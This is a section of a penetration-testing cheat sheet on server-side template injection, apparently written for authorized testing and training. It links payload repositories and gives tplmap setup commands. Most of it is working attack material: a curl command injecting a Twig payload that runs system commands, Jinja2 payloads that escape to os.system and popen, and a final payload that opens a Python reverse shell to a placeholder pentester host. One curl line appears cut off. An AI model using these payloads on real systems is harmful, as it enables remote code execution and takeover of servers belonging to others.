5.3 Server-Side Template Injections
Server-Side Template Injection (SSTI) is essentially injecting malicious template directives inside a template, leveraging Template Engines that insecurely mix user input with a given template.
SSTI Payloads
https://github.com/payloadbox/ssti-payloads
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server Side Template Injection
https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection
SSTI Tools
https://github.com/epinna/tplmap
https://github.com/vladko312/SSTImap
$ git clone https://github.com/epinna/tplmap.git
$ cd tplmap
$ pip install virtualenv
$ virtualenv -p python2 venv
$ source venv/bin/activate
$ pip install -r requirements.txt
$ ./tplmap.py -u 'http://<TARGET IP>:<PORT>' -d name=john
OR CURL
$ curl -X POST -d 'name={{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}' http://<TARGET IP>:<PORT>
$ curl -gs
Python primer for SSTI
https://www.fatalerrors.org/a/0dhx1Dk.html
Below is a small dictionary from fatalerrors.org to refer to when going over the Jinja2 payload development part of this section:
No. | Methods | Description |
---|---|---|
1. | class | Returns the object (class) to which the type belongs |
2. | mro | Returns a tuple containing the base class inherited by the object. Methods are parsed in the order of tuples. |
3. | subclasses | Each new class retains references to subclasses, and this method returns a list of references that are still available in the class |
4. | builtins | Returns the builtin methods included in a function |
5. | globals | A reference to a dictionary that contains global variables for a function |
6. | base | Returns the base class inherited by the object <-- (__ base__ and __ mro__ are used to find the base class) |
7. | init | Class initialization method |
Create a string object and use type and class, as follows. Then use the dir() command to show all methods and attributes from the object.
{{ ''.__class__ }}
{{ ''.__class__.__mro__ }}
{{ ''.__class__.__mro__[1] }}
{{ ''.__class__.__mro__[1].__subclasses__() }}
# Search for catch_warning
{% for i in range(450) %}
{{ i }}
{{ ''.__class__.__mro__[1].__subclasses__()[i].__name__ }}
{% endfor %}
{{''.__class__.__mro__[1].__subclasses__()[214]()._module.__builtins__['__import__']('os').system("touch /tmp/test1") }}
{{''.__class__.__mro__[1].__subclasses__()[214]()._module.__builtins__['__import__']('os').popen('ls /tmp').read()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{''.__class__.__mro__[1].__subclasses__()[214]()._module.__builtins__['__import__']('os').popen('python -c \'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<PENTESTER_IP>",<PENTESTER_PORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")\'').read()}}